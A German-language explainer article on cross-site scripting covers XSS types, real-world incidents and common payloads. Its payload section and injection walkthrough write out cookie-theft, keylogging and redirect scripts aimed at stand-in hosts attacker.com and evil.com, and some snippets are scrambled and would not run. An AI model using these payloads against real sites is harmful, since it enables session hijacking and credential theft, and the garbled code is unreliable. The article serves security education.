Cross-Site Scripting (XSS): Beispiele und Arten von Angriffen

Veröffentlicht am: 06 August 2025

.

23 Minuten Lesezeit

.

Für die Englische Version

Cross-Site-Scripting-Angriffe (XSS) sind Exploits von Webanwendungen und Webservern, die eine Schwachstelle im Server- oder Anwendungscode ausnutzen. Cross-Site-Scripting-Angriffe sind besonders riskant, da es für Entwicklungs- oder Sicherheitsteams schwierig ist, eine XSS-Schwachstelle zu identifizieren, und es unmöglich ist, die Folgen eines Angriffs zu erkennen, bevor die Sicherheitslücke bereits ausgenutzt wurde. In den OWASP Top 10 ist XSS das zweithäufigste Problem und tritt in fast zwei Dritteln aller Apps auf. XSS hat eine ernsthafte Auswirkung auf die Remote-Code-Ausführung im Browser des Opfers, wie das Stehlen von Anmeldeinformationen oder das Bereitstellen von Malware. Um XSS-Angriffe zu verhindern, muss Ihr Team deren Merkmale verstehen und herausfinden, ob Ihre Systeme anfällig sind.

Ein bösartiges Skript kann einem unvorsichtigen Benutzer von einem Angreifer über XSS gesendet werden. Der Browser des Endbenutzers wird das Skript ausführen, da er keine Möglichkeit hat zu wissen, dass es nicht vertrauenswürdig ist. Das bösartige Skript kann auf alle Cookies, Sitzungstoken oder andere private Daten zugreifen, die vom Browser gespeichert und mit dieser Website verwendet werden, da es glaubt, dass das Skript von einer vertrauenswürdigen Quelle stammt. Selbst der Inhalt der HTML-Seite kann von diesen Skripten verändert werden.

Wir werden in diesem Abschnitt die Definition von Cross-Site-Scripting, seine vielen Formen, tatsächliche Beispiele für XSS-Angriffe und mehr durchgehen.

• Was ist Cross-Site-Scripting?
• Wie funktioniert Cross-Site Scripting (XSS)?
• Was sind reale Beispiele für XSS-Angriffe?
• Was sind die verschiedenen Arten von XSS?
• Wie funktioniert Stored XSS?
• Wie tritt Reflected XSS auf?
• Was ist DOM-basiertes XSS?
• Was sind gängige XSS-Payloads?
• Wie injizieren Angreifer bösartige Skripte in einem XSS-Angriff?
• Kann XSS verwendet werden, um Benutzerdaten zu stehlen oder Sitzungen zu übernehmen?
• Wie nutzen Angreifer Eingabefelder, Suchleisten und URLs für XSS aus?
• Welche Rolle spielt JavaScript bei der Ausführung von XSS-Angriffen?
• Was sind die besten Praktiken für die Eingabevalidierung und -bereinigung?
• Wie können Entwickler XSS-Sicherheitsanfälligkeiten in Webanwendungen verhindern?
• Wie verhindert die Ausgabe-Codierung XSS-Angriffe?
• Was ist eine Content Security Policy (CSP)?
• Wie helfen Web Application Firewalls (WAFs), XSS zu verhindern?
• Wie verbessern Sicherheitsheader wie X-XSS-Protection den Schutz gegen XSS?
• Wie können Organisationen XSS-Schwachstellen erkennen und testen?
• Was sind die besten Penetrationstesting-Tools zur Erkennung von XSS?
• Wie erkennen automatisierte Scanner und Sicherheitstest-Frameworks XSS?
• Welche Rolle spielen Bug-Bounty-Programme bei der Identifizierung von XSS?
• Wie vergleicht sich XSS mit anderen Schwachstellen?
• Wie steht XSS im Zusammenhang mit Cross-Site Request Forgery (CSRF)?
• Kann XSS bei Phishing- und Social-Engineering-Angriffen verwendet werden?

Was ist Cross-Site Scripting?

Cross-Site Scripting (XSS)-Angriffe sind Injektionsangriffe, bei denen bösartige Skripte in ansonsten vertrauenswürdige und harmlose Websites eingefügt werden. Wenn ein Angreifer eine Webanwendung nutzt, um bösartigen Code an einen anderen Endbenutzer zu senden, in der Regel in Form eines browserseitigen Skripts, wird dies als XSS-Angriff bezeichnet.

Cross-Site-Scripting ist einer der häufigsten Internet-Angriffspunkte. XSS wird sogar als eine der Top 10 Gefahren unter den wichtigsten Sicherheitsrisiken für Online-Anwendungen vom angesehenen Open Web Application Security Project (OWASP) aufgeführt. Cross-Site-Scripting ermöglicht es Angreifern, schädlichen Skriptcode in ansonsten zuverlässige und harmlose Websites einzufügen. Angreifer können Teile der Sitzung einsehen oder sogar den gesamten Anmeldeprozess übernehmen, wenn ein Benutzer eine solche Website besucht und sich mit seinen Anmeldeinformationen einloggt. Der Grad der Berechtigung, den der Browser der betroffenen Webanwendung gewährt, bestimmt, wie schwerwiegend der Angriff ist. Angreifer könnten im schlimmsten Fall sogar auf lokale Daten zugreifen, wenn ihnen weitreichende Zugriffsberechtigungen auf die Maschine des Benutzers gewährt werden. Über XSS könnte das kompromittierte System potenziell vollständig übernommen werden. Andere Formen von Angriffen, die auf XSS basieren, umfassen "Website-Defacement" und Phishing. Im letzteren Fall veröffentlichen Angreifer Inhalte auf einer Website, um diese ohne das Wissen des Seitenbetreibers zu verleumden.

Wie funktioniert Cross-Site Scripting (XSS)?

Die Funktionsweise von Cross-Site-Scripting besteht darin, eine schwache Website so zu verändern, dass den Benutzern bösartiges JavaScript angezeigt wird. Ein Angriff, der als Cross-Site-Scripting bekannt ist, erfolgt, wenn ein Bedrohungsakteur bösartigen Code oder ein Skript in den Seiten-Code einer Webanwendung einfügt. Dies geschieht normalerweise auf dynamischen Websites, die regelmäßigen Änderungen unterliegen oder die Benutzer aktiv ändern können (z.B. eine Suchleiste, in die Benutzer Suchanfragen eingeben können).

Der ursprüngliche Code der Website ist zuverlässig. Normalerweise lädt der Browser eines Benutzers die Webseite wie vorgesehen, wenn er darauf navigiert. Die Webseite wird jedoch möglicherweise nicht wie geplant geladen, wenn ein Bedrohungsakteur zusätzlichen Code eingefügt hat, und weder der Benutzer noch der Browser werden davon Kenntnis haben. Der Zweck des neuen bösartigen Codes besteht darin, Informationen aus dieser Online-Anwendung zu stehlen, wie z.B. Passwörter oder Cookies.

Da Cross-Site-Scripting-Angriffe schwer zu erkennen sind, sind sie schädlich. Sicherheitsteams werden die Schwachstelle im Code nicht identifizieren können, es sei denn, sie sind mit der Programmiersprache vertraut, die zur Erstellung der Seite verwendet wurde. Sie müssen oft Anwendungsscanning-Tools verwenden, um Hinweise auf einen XSS-Angriff zu finden. Mitarbeiter könnten es übersehen, wenn sie zu viel manuelle Arbeit leisten müssen, um einen zu finden, insbesondere wenn sie die Sprache nicht sprechen.

Die Art des XSS-Angriffs, der Ihre Webanwendung betrifft, könnte gespeichert, reflektiert oder dokumentenobjektmodell (DOM)-basiert sein. Der Diebstahl von Anmeldeinformationen und der Schaden am Ruf eines Unternehmens sind nur zwei der vielen Sicherheits- und Geschäftsrisiken, die mit XSS-Angriffen verbunden sind. Sie sollten Ihre Webanwendungen testen, auf offensichtliche Anzeichen eines Angriffs achten und Softwarelösungen verwenden, um Ihren Code und Ihre Anwendungen auf Schwachstellen zu überprüfen, um herauszufinden, ob Sie gefährdet sind.

Was sind Beispiele für XSS-Angriffe in der realen Welt?

Echte Beispiele zeigen, wie schädlich Cross-Site-Scripting (XSS)-Angriffe für ahnungslose Benutzer und Website-Administratoren sein können, was sie zu einer ständigen Gefahr für Webanwendungen macht. Dies sind einige bekannte Beispiele für XSS-Angriffe, zusammen mit ihren Methoden und Ergebnissen. Wir können ein besseres Verständnis für die Bedeutung der Minderung von XSS-Schwachstellen und die Wartung der Sicherheit von Webanwendungen gewinnen, indem wir diese Beispiele verstehen.

• "Samy" Wurm auf MySpace (2005): Eine der bekanntesten XSS-Attacken wurde von dem Sicherheitsforscher Samy Kamkar durchgeführt, der einen Wurm baute, der sich auf der bekannten Social-Networking-Seite MySpace verbreitete. Als andere Benutzer sein Profil sahen, fügte Kamkar sie als Freunde hinzu und bewarb es, indem er JavaScript-Code darin einfügte.

  In nur wenigen Stunden infizierte der "Samy"-Wurm über eine Million Profile und verursachte erhebliche Störungen und eine langsame Seitenleistung. Um das Problem zu beheben, musste MySpace eine Weile offline gehen.

• Wurm auf Twitter (2009): Ein Hacker entwickelte einen Wurm, der das "onmouseover"-Ereignis von Links ausnutzte, indem er eine zwischengespeicherte XSS-Sicherheitsanfälligkeit in Twitter ausnutzte. Der Wurm verbreitete sich, indem er sich selbst retweetete, wenn Besucher über diese Links fuhren.

  Der Wurm brachte die Social-Media-Seite in Verlegenheit und beeinträchtigte eine große Anzahl von Twitter-Nutzern. Twitter war gezwungen, das Problem sofort zu beheben.

• Google's Blogspot: XSS (2015): Eine XSS-Sicherheitsanfälligkeit im Blogspot-Dienst von Google wurde von einem Sicherheitsforscher entdeckt. Durch das Einfügen von bösartigem Code in den Kommentarbereich von auf Blogspot gehosteten Websites könnten Angreifer beliebigen JavaScript-Code ausführen. Dieser Fehler schadete dem Ruf von Blogspot, indem er Hackern ermöglichte, Webseiten zu verwüsten und möglicherweise Benutzerdaten zu stehlen. Google hat das Problem schnell behoben.

• eBay (2016): Ende 2015 und Anfang 2016 gab es eine schwerwiegende XSS-Sicherheitsanfälligkeit bei eBay. Obwohl der Wert des "url"-Parameters nicht überprüft wurde, nutzte die Website ihn, um Leser zu verschiedenen Plattformseiten zu führen. Angreifer konnten infolgedessen bösartigen Code auf eine Website einfügen.

  Angreifer konnten dank der Schwachstelle Waren zu einem Rabatt anbieten, vollständigen Zugriff auf eBay-Verkäuferkonten erhalten und Zahlungsinformationen stehlen. Angreifer nutzten es aktiv, um eBay-Angebote für teure Waren wie Autos zu manipulieren. Die Schwachstelle wurde schließlich von eBay behoben, obwohl weitere Angriffe bis 2017 andauerten.

• Yahoo's XSS (2017): Eine persistente XSS-Sicherheitsanfälligkeit beeinträchtigte den bekannten E-Mail-Dienst von Yahoo. Bösartige E-Mails, die JavaScript verwenden und im E-Mail-Client des Empfängers ausgeführt werden, wenn sie geöffnet werden, könnten von Angreifern gesendet werden.

  Yahoo-E-Mail-Abonnenten waren aufgrund dieser Schwachstelle gefährdet, dass ihre Konten gehackt und ihre persönlichen Daten veröffentlicht wurden. Yahoo hat das Problem behoben, aber nicht bevor böswillige Akteure es ausgenutzt hatten.

• British Airways (2018): Eine bekannte Hackerorganisation, die für Kreditkarten-Skimming-Angriffe bekannt ist, Magecart, griff 2018 British Airways an. Eine XSS-Sicherheitsanfälligkeit in der Feedify-JavaScript-Bibliothek, die auf der British Airways-Website verwendet wurde, wurde vom Team ausgenutzt.

  Das Skript wurde von den Angreifern so verändert, dass es Kundeninformationen an einen bösartigen Server mit einem Domainnamen sendete, der dem von British Airways ähnlich war. Die Benutzer dachten, sie kauften von einem sicheren Server, da der gefälschte Dienst ein SSL-Zertifikat hatte. Bevor der Hack identifiziert wurde, konnten sie erfolgreich 380.000 Buchungstransaktionen mit Kreditkarten abgreifen.

• Fortnite (2019): Eine XSS-Sicherheitsanfälligkeit, die mehr als 200 Millionen Spieler betraf, wurde 2019 im bekannten Online-Spiel entdeckt. Die Fortnite-Entwickler konnten eine stillgelegte, ungeschützte Website nicht identifizieren. Aufgrund einer XSS-Sicherheitsanfälligkeit auf der Website konnten Angreifer ohne Autorisierung auf alle Daten der Fortnite-Nutzer zugreifen.

  Angreifer könnten Benutzer auf eine gefälschte Anmeldeseite umgeleitet haben, indem sie XSS mit einer unsicheren Single Sign-On (SSO)-Schwachstelle kombiniert haben. Dies würde es ihnen ermöglichen, Spielerinteraktionen für potenzielle zukünftige Angriffe zu erfassen und virtuelles Geld im Spiel zu stehlen. Es ist unklar, ob Angreifer die Schwachstelle in der Zeit nach der Identifizierung der Bedrohung durch Check Point und der Warnung an Fortnite ausgenutzt haben.

• Ubers P3 XSS-Sicherheitsanfälligkeit von 2019: Die Website von Uber weist eine XSS-Sicherheitsanfälligkeit auf, die von einem Sicherheitsforscher entdeckt wurde. Ein Angreifer könnte einen Link erstellen, der, wenn ein Uber-Fahrer darauf klickt, seine Kontoinformationen offenlegt und illegale Aktivitäten ermöglicht.

  Die persönlichen Informationen der Uber-Fahrer waren aufgrund dieser Schwachstelle ernsthaft gefährdet. Uber handelte schnell, um das Problem zu lösen und seine Sicherheitsprotokolle zu verbessern.

• WhatsApp Web (2020): Eine XSS-Sicherheitsanfälligkeit im Web-Client von WhatsApp wurde von einem Sicherheitsforscher entdeckt. Bösartiger Code könnte in einer sorgfältig konstruierten Nachricht enthalten sein, die vom Angreifer gesendet wurde. Der Code würde ausgeführt werden, wenn der Empfänger die Nachricht im Web-Client ansieht.

  Eine XSS-Sicherheitsanfälligkeit im Web-Client von WhatsApp wurde von einem Sicherheitsforscher entdeckt. Schadhafter Code könnte in einer sorgfältig konstruierten Nachricht enthalten sein, die vom Angreifer gesendet wurde. Der Code würde ausgeführt werden, wenn der Empfänger die Nachricht im Web-Client ansah. Aufgrund dieses Fehlers hätten Hacker möglicherweise auf Benutzerdaten zugreifen und möglicherweise deren Konten übernehmen können. WhatsApp hat das Problem behoben, um seine Nutzer zu schützen.

Was sind die verschiedenen Arten von XSS?

XSS-Angriffe können in fünf Kategorien unterteilt werden.

1. Persistentes (Stored) XSS: Wenn eine Anwendung Daten aus einer nicht vertrauenswürdigen Quelle erhält und diese Daten auf unsichere Weise in ihre nachfolgenden HTTP-Antworten einfügt, wird dies als persistentes Cross-Site-Scripting (auch bekannt als zweiter Ordnung oder gespeichertes XSS) bezeichnet.

   Angreifer injizieren bösartige Skripte in anfällige Websites und speichern sie auf dem Server zur späteren Verwendung. Benutzer, die Webseiten anzeigen, erhalten die Nutzlast, die in ihrem Kontext verarbeitet wird. Infolgedessen kann die Payload ausgeführt werden, ohne dass die Opfer auf einen bösartigen Link klicken müssen (wie im Fall von Non-Persistent XSS). Alles, was sie tun müssen, ist, eine anfällige Webseite zu besuchen.

2. Reflected XSS: Die grundlegendste Art von Cross-Site-Scripting-Schwachstelle ist das nicht-persistente XSS, auch bekannt als reflected XSS, bei dem eine Webanwendung JavaScript von nicht validierten Benutzereingaben widerspiegelt und ausführt.

   Cross-Site-Scripting (oder XSS) tritt auf, wenn eine Anwendung Daten in einer HTTP-Anfrage erhält und diese Daten unsicher in die unmittelbare Antwort einfügt.

   Reflected XSS zielt häufig auf Suchergebnisse und Fehlermeldungsseiten ab. Sie senden häufig unveränderte Benutzereingaben als Teil der Antwort, ohne die Daten angemessen zu escapen, sodass sie sicher im Browser angezeigt werden können.

   Angenommen, die Suchfunktion einer Website akzeptiert eine vom Benutzer eingegebene Suchphrase als URL-Parameter:

   https://nonsecure---site.com/search?term=computer

   In der Antwort auf diese URL gibt die Anwendung den angegebenen Suchbegriff wieder:

   <p>You searched for: computer</p>

   Ein Angreifer kann einen solchen Angriff entwerfen, wenn das Programm keine weiteren Datenverarbeitungen durchführt:

   https://nonsecure---site.com/search?term=<script>/*You+have+been+hacked+by.....*/</script>

   Diese URL führt zu folgender Antwort:

   <p>You searched for: <script>/* You+have+been+hacked+by..... */</script></p>

   Wenn ein anderer Anwendungsbenutzer die URL des Angreifers besucht, wird das vom Angreifer bereitgestellte Skript im Browser des Zielbenutzers im Kontext ihrer Sitzung mit dem Programm ausgeführt.

3. DOM-basiertes XSS: Das Document Object Model ist eine Programmierschnittstelle, die es Entwicklern ermöglicht, Dokumente (Webseiten) durch Ausführen von Operationen zuzugreifen und zu bearbeiten. Infolgedessen spezifiziert diese Schnittstelle die Struktur von Dokumenten, indem sie die Skriptsprache mit der echten Webseite verknüpft.

   DOM-basiertes XSS, auch bekannt als Type-0 XSS, ist ein XSS-Angriff, der die Payload durch Modifikation des DOM im Browser des Opfers ausführt. Ohne das Wissen oder die Zustimmung des Benutzers führt der Client Code aus.

4. Mutated XSS (mXSS): Mario Heiderich (Cybersecurity Forscher) identifizierte eine neue Art von XSS-Vektor, den mutationsbasierten XSS (mXSS) Vektor. Dieses mXSS könnte in innerHTML gefunden werden. Dieses Problem betrifft beliebte Browser wie Internet Explorer, Firefox und Chrome.

   Das mXSS ist ein XSS-Vektor, der von einem sicheren in einen gefährlichen ungefilterten Zustand modifiziert wurde. Die Annahme, die sowohl von serverseitigen als auch von clientseitigen XSS-Filtern geteilt wird, ist, dass ihre HTML-Ausgabe und der vom Browser gerenderte HTML-Inhalt fast identisch sind. Die häufigste Art von mXSS wird durch fehlerhaftes innerHTML-Lesen verursacht. Der Browser verändert den vom Benutzer bereitgestellten Inhalt so, dass eine scheinbar harmlose Zeichenfolge praktisch alle XSS-Filter passiert und schließlich zu einem aktiven XSS-Angriffsvektor wird.

5. Self-XSS: Self-Cross-Site-Scripting (XSS) ist eine Schwachstelle in Webanwendungen, die es demselben Benutzer ermöglicht, JS auszuführen, aber nicht anderen Benutzern. Self-XSS ist eine Art von Social-Engineering-Angriff. Bei der Self-XSS-Angriffs-Methode führt der angegriffene Benutzer den schädlichen Code selbst aus, in der Annahme, dass er einem anderen Zweck dient. Webkonten können mit der Self-XSS-Angriffs-Methode kompromittiert werden. Facebook-Konten stehen an erster Stelle.

Wie funktioniert Stored XSS?

Stored XSS (persistentes XSS) ist die schädlichste Art von XSS-Schwachstelle. Ein Angreifer nutzt gecachte XSS, um eine schädliche Nutzlast, typischerweise JavaScript-Code, in die Zielanwendung einzufügen. Die Zielsoftware, wie eine Datenbank, behält diesen schädlichen Code lange Zeit, wenn keine Eingabevalidierung vorhanden ist. Zum Beispiel könnte ein bösartiges Skript von einem Angreifer in einen Benutzer-Eingabebereich eingefügt werden, wie zum Beispiel in den Kommentarbereich eines Blog- oder Forenbeitrags.

Wenn das Opfer die infizierte Webseite in einem Browser besucht, wird die XSS-Angriffslast als HTML-Code an seinen Browser gesendet (genauso wie ein echter Kommentar). Dies impliziert, dass die Opfer nach dem Besuch der Website in ihrem Browser letztendlich das bösartige Skript ausführen werden.

Ein Angriff, der als Stored Cross-Site Scripting bekannt ist, tritt auf, wenn ein bösartiges Skript Benutzereingaben auf dem Zielserver speichert. Ein gespeicherter XSS-Angriff läuft im Browser des Benutzers, im Gegensatz zu einem reflektierten XSS-Angriff, der auf dem Server läuft. Dann installieren Angreifer mithilfe zeitgenössischer HTML5-Apps, die normalerweise HTML-Datenbanken verwenden, bösartige Skripte dauerhaft im Browser.

Jedes Mal, wenn ein Benutzer die kompromittierte Website besucht, wird das Skript gespeichert und auf dem Server in einem gespeicherten XSS-Angriff ausgeführt. Ein Angreifer kann leicht mehrere Opfer ins Visier nehmen, und die Auswirkungen sind langfristig. Ungeübte Benutzer, die versuchen, Daten aus dem Programm zu extrahieren, ohne irgendwelche Sanitär- oder Validierungsverfahren zu beachten, können ebenfalls Ziel von gespeicherten XSS-Angriffen werden.

Der einfachste Ansatz, um gespeicherte Cross-Site-Scripting (XSS)-Angriffe zu stoppen, besteht darin, Benutzerdaten zu bereinigen und Eingaben ordnungsgemäß zu behandeln. Der beste Schutz gegen gespeicherte XSS-Angriffe besteht darin, geeignete Parameterbindung zu verwenden.

Zum Beispiel kann ein Bedrohungsakteur Finanzinformationen stehlen, jedes Mal wenn ein Benutzer eine Seite besucht, auf der er diese eingibt, wenn er ein bösartiges Skript auf dem Webserver einer Finanzdienstleistungsorganisation installiert. Der bösartige Code beeinflusst jede Instanz der Nutzung der Webanwendung, da er im Webserver geschrieben ist. Da der Code auf der Website der Finanzdienstleistungen authentisch erscheint, nutzen die Benutzer ihn weiter, bis entdeckt wird, dass er bösartig ist.

Wie tritt Reflected XSS auf?

Die zweite und häufigste Art von XSS wird als reflected XSS oder nicht persistentes XSS bezeichnet. In diesem Fall muss die an den Webserver gesendete Anfrage die Payload des Angreifers enthalten. Die Nutzlast aus der HTTP-Anfrage wird dann in die HTTP-Antwort aufgenommen, wenn sie zurückgespiegelt wurde. Um das Opfer dazu zu bringen, eine Anfrage an den Server zu senden, verwenden Angreifer Phishing-E-Mails, bösartige URLs und andere Social-Engineering-Strategien. Die replizierte XSS-Nutzlast wird dann vom Browser des Benutzers gestartet.

Reflected XSS-Angriffe zielen normalerweise auf Suchmaschinenergebnisseiten oder Fehlermeldungen ab, da es einfach ist, eine bösartige E-Mail mit einem Link zu senden, auf den viele Leute klicken werden. Das bösartige Skript wird an den Server gesendet, wenn der Benutzer auf den Link klickt, und da es nicht gespeichert wird, antwortet der Server, indem er dem Benutzer einen Code bereitstellt. Wenn Benutzereingaben nicht ausreichend validiert und bereinigt werden oder wenn Daten unsicher aus einer Anfrage dupliziert werden, besteht das Risiko von reflektierten XSS-Schwachstellen.

Ein Bedrohungsakteur, der die Anfrageparameter eines Softwareingenieurs abfängt, um Zugang zu einem bekannten Ingenieurprogramm zu erhalten, ist ein Beispiel für reflektiertes Cross-Site-Scripting (XSS) in Aktion. Durch subtile Änderungen der URL leitet der Bedrohungsakteur den Benutzer auf eine anfällige Website anstelle der erwarteten. Der Bedrohungsakteur kann dann eine Reihe von Schritten unternehmen, um die Bemühungen des Ingenieurs zu untergraben, wie zum Beispiel die Daten zu stehlen, die sie auf der Website eingegeben haben.

Was ist DOM-basiertes XSS? Was ist DOM-basiertes XSS?

Fortgeschrittene XSS-Angriffe umfassen DOM-basiertes XSS. DOM-basierte XSS sind möglich, wenn die clientseitigen Skripte der Webanwendung vom Benutzer bereitgestellte Daten im Document Object Model (DOM) veröffentlichen. Die Webanwendung liest dann die Daten aus dem DOM und gibt sie an den Browser aus. Ein Angreifer kann eine Payload injizieren, wenn die Daten falsch behandelt werden. Dieser Payload wird als Teil des DOM gespeichert und ausgeführt, wenn die Daten aus dem DOM zurückgelesen werden.

Durch das Lesen und Ändern von HTML- und XML-Dokumenten ermöglicht die DOM-Schnittstelle die Interpretation und Manipulation der Inhalte von Webseiten. Bösartige Änderungen am DOM-Kontext des Opfers werden durch DOM-basierte XSS-Angriffe eingeführt, die zu unerwarteter clientseitiger Codeausführung führen.

Im Gegensatz zu reflektierten und gespeicherten XSS-Angriffen speichern oder senden DOM-basierte XSS-Angriffe das bösartige Skript nicht an den Server. Die einzige Schwäche bei diesem Angriff ist der Browser des Opfers. DOM-basierte Schwachstellen sind selten, komplex und schwer zu beheben, da sie schwerer zu verstehen sind als andere Arten. Darüber hinaus sind sie für Webanwendungsfirewalls und automatisierte Schwachstellenscanner schwer zu erkennen.

Bei einem DOM-basierten XSS-Angriff, der oft ein Client-seitiger Angriff ist, wird die bösartige Nutzlast niemals an den Server gesendet. Webanwendungs-Firewalls (WAFs) und Sicherheitstechniker, die sich die Serverprotokolle ansehen, werden es viel schwieriger haben, den Angriff zu erkennen, da sie ihn niemals sehen werden. Die am häufigsten geänderten DOM-Elemente sind der Referrer (document.referrer), der Ankerteil der URL (location.hash) und die URL selbst (document.URL).

Ein Angreifer könnte beispielsweise den Client-seitigen Code einer Webanwendung ändern, wenn er Fragmente einer URL erfasst und in eine JavaScript-Funktion einfügt, die die dynamische Codeausführung erlaubt. Der clientseitige Code der Customer Relationship Management (CRM)-Software wird geändert, wenn der Angreifer sich entscheidet, die Hauptseite zu ändern, aber die tatsächliche HTTP-Antwort der Seite nicht. Die URL-Fragmenten könnten vom Bedrohungsakteur verwendet werden, um einen Angriff zu starten.

Was sind gängige XSS-Payloads?

Eine Art von Websicherheitsanfälligkeit, die als Cross-Site-Scripting (XSS) bezeichnet wird, ermöglicht es einem Angreifer, bösartigen Code in eine Website einzufügen, die von anderen Benutzern angesehen wird. Die Websicherheit wird durch XSS-Angriffe bedroht, die sowohl für Einzelpersonen als auch für Unternehmen erhebliche Auswirkungen haben können.

Der injizierte Code, auch als Payload bekannt, kann entweder verwendet werden, um im Namen des Benutzers Operationen durchzuführen, wie das Hinterlassen von Kommentaren oder das Tätigen von Einkäufen, oder er kann verwendet werden, um private Daten des Benutzers zu stehlen, wie Cookies oder Anmeldeinformationen. XSS-Payloads können von einfachen Skripten, die eine Pop-up-Nachricht anzeigen, bis hin zu komplexeren Angriffen reichen, die private Informationen stehlen oder die Kontrolle über den Browser eines Nutzers übernehmen.

XSS-Angriffe gibt es in zwei Hauptvarianten: reflektiert und gespeichert. Die Nutzlast in einem gespeicherten Cross-Site-Scripting-Angriff wird auf der Zielwebsite unbegrenzt gespeichert und wird jedes Mal ausgeführt, wenn ein Benutzer die kompromittierte Seite besucht. Bei einem spiegelnden XSS-Angriff wird die Payload als Anfrage an die Zielwebsite gesendet und bei Erhalt der Antwort durch den Benutzer ausgeführt.

Im Folgenden finden Sie eine Liste typischer XSS-Payloads zusammen mit einer Zusammenfassung jedes einzelnen.

1. Alert Box: Eine einfache Payload, die dem Benutzer eine Pop-up-Nachricht anzeigt. Dies kann verwendet werden, um XSS-Schwachstellen zu testen oder als Proof of Concept für komplexere Angriffe.

   <script>alert("XSS")</script> ist ein Beispiel für Code.

2. Cookie-Diebstahl: Eine Payload, die das Cookie des Benutzers an den Server eines Angreifers überträgt. Dies kann verwendet werden, um private Daten aus Cookies zu stehlen oder die Sitzung eines Benutzers zu übernehmen. Um dem entgegenzuwirken, sind in jedem modernen Browser Sicherheitsmaßnahmen integriert.

   Ein Beispiel für Code ist unten angegeben.

   New Image().src="https://attacker.com/cookie.php?cookie="+document.cookie

3. Tastatureingabeprotokollierung: Eine Nutzlast, die die Tastenanschläge des Benutzers erfasst und sie an die Website des Angreifers sendet. Passwörter und Kreditkartennummern sind Beispiele für sensible Daten, die mit dieser Methode gestohlen werden können. Um dem entgegenzuwirken, sind in jedem modernen Browser Sicherheitsmaßnahmen integriert.

   Ein Beispiel für Code ist unten angegeben.

   "https://attacker.com/keylog.php?k=" + e.keyCode; `
   <script>document.onkeypress = function(e) { new Image().src =</script>

4. Umleitung: Eine Nutzlast, die den Besucher auf eine andere Website führt, häufig eine Phishing-Seite oder eine, die der Angreifer kontrolliert.

   <script>window.location.href="https://evil.com"</script> is an example of code.

5. Form Hijacking: Eine Payload, die Formulardaten vor der Übermittlung modifiziert und abfängt. Dies kann verwendet werden, um den Inhalt einer Webseite zu ändern oder private Informationen zu stehlen.

   Ein Beispiel für Code ist unten angegeben.

   <script>document.forms[0] | function() onsubmit Value="hacked";} {document.forms[0].elements[0].</script>

Wie injizieren Angreifer bösartige Skripte bei einem XSS-Angriff?

XSS funktioniert, indem es eine Schwachstelle in einer Website ausnutzt, die dazu führt, dass beim Besuch der Website durch einen Benutzer schädlicher JavaScript-Code zurückgegeben wird. Durch das Ausführen von schädlichem Code im Browser des Benutzers könnte der Angreifer gefährden, wie das Opfer mit der Website interagiert.

Ein XSS-Angriff besteht typischerweise aus zwei Phasen. Die erste Phase ist eine Technik, die sie verwenden, um bösartigen Code, manchmal als Payload bezeichnet, auf die Webseite des Opfers einzufügen. Dies ist nur möglich, wenn Benutzereingaben auf den Seiten der Zielwebsite direkt erlaubt sind. In einem solchen Fall, wenn der Besucher die Client-Seite besucht, wird der bösartige Code vom Angreifer in die Seite injiziert und als Quellcode interpretiert.

Der zweite Schritt besteht darin, dass das Opfer die angegriffene Website besucht, auf der die Payload injiziert wurde. Um dies zu tun, setzen Angreifer häufig Phishing-Angriffe oder Social-Engineering-Strategien ein, um die Opfer auf die infizierte Website zu lenken.

XSS wird häufig von Kriminellen verwendet, um Cookies zu stehlen. Sie könnten dann vorgeben, das Opfer zu sein. Es gibt mehrere Möglichkeiten für den Angreifer, das Cookie an seinen eigenen Server zu übermitteln. Eine dieser Methoden besteht darin, das unten aufgeführte Client-Side-Skript im Webbrowser des Opfers auszuführen.

<script>
window.location="http://evil.com/?cookie=" + document.cookie
</script>

1. Durch das Einreichen eines anfälligen Formulars, das bösartigen JavaScript-Code enthält, fügt der Angreifer eine Payload in die Datenbank der Website ein.
2. Das Opfer fordert die Webseite vom Webserver an.
3. Die Nutzlast des Angreifers ist im HTML-Body der Seite enthalten, die der Webserver an den Browser des Opfers sendet.
4. Der Browser des Opfers führt das im HTML-Body gefundene bösartige Skript aus. In diesem Fall erhält der Server des Angreifers das Cookie des Opfers.
5. Wenn die HTTP-Anfrage den Server erreicht, muss der Angreifer nur noch das Cookie des Opfers erhalten.
6. Das gestohlene Cookie des Opfers kann nun vom Angreifer verwendet werden, um sich als das Opfer auszugeben.

Kann XSS verwendet werden, um Benutzerdaten zu stehlen oder Sitzungen zu übernehmen?

Ja Ein Angreifer kann die Benutzersitzungen übernehmen, private Daten wie Anmeldepasswörter stehlen oder sogar den Inhalt von Websites ändern, um Benutzer dazu zu bringen, persönliche Informationen preiszugeben, wenn er erfolgreich eine XSS-Sicherheitsanfälligkeit ausnutzt. Zum Beispiel kann XSS verwendet werden, um Phishing-Angriffsformulare anzuzeigen, Malware auf dem Gerät eines Benutzers zu installieren oder Benutzer auf schädliche Websites umzuleiten.

Der Datenleck von 2024, der vom Cyber-Kollektiv "ResumeLooters" geplant wurde, ist ein perfektes Beispiel dafür. Die Organisation stahl die persönlichen Daten von über 2 Millionen Arbeitssuchenden, indem sie in über 65 Jobbörsen- und Einzelhandelswebsites eindrang und dabei sowohl SQL-Injection- als auch XSS-Schwachstellen ausnutzte. Durch das Einfügen von bösartigem JavaScript auf vertrauenswürdige Websites konnten die Angreifer Telefonnummern, E-Mail-Adressen, Namen und andere Informationen sammeln.

Der Fortnite-Hack von 2019 ist ein weiterer bekannter XSS-Ausnutzungsangriff. In einem Fall zielten Hacker auf mehr als 200 Millionen Menschen ab, indem sie eine stillgelegte Website mit einer XSS-Sicherheitsanfälligkeit ausnutzten. Die Hacker konnten dank der Schwachstelle Spielerunterhaltungen abfangen und In-Game-Geld stehlen.

Wie nutzen Angreifer Eingabefelder, Suchleisten und URLs für XSS aus? Wie nutzen Angreifer Eingabefelder, Suchleisten und URLs für XSS aus?

Wenn eine Webanwendung nicht validierte Benutzereingaben analysiert und diese sofort in einer HTTP-Antwort widerspiegelt, oft als Teil einer HTTP-Anfrage, tritt reflektiertes Cross-Site-Scripting (XSS) auf. Angreifer erstellen bösartige URLs mit JavaScript-Payloads, um diese Schwachstelle auszunutzen. Diese Payloads werden ausgeführt, wenn ein unvorsichtiger Benutzer mit ihnen interagiert. Der XSS-Angriff ist schwieriger zu erkennen, aber dennoch ziemlich erfolgreich, da er in Echtzeit erfolgt und nicht auf dem Server gespeichert wird.

Suchleisten, Fehlermeldungen, Formulareingaben und alles andere, was dynamisch Benutzereingaben empfängt und anzeigt, sind häufig die Ziele dieser XSS-Angriffe. Um die Benutzer dazu zu bringen, den Exploit zu aktivieren, verteilen Angreifer häufig bösartige Links über Phishing-E-Mails oder gehackte Websites.

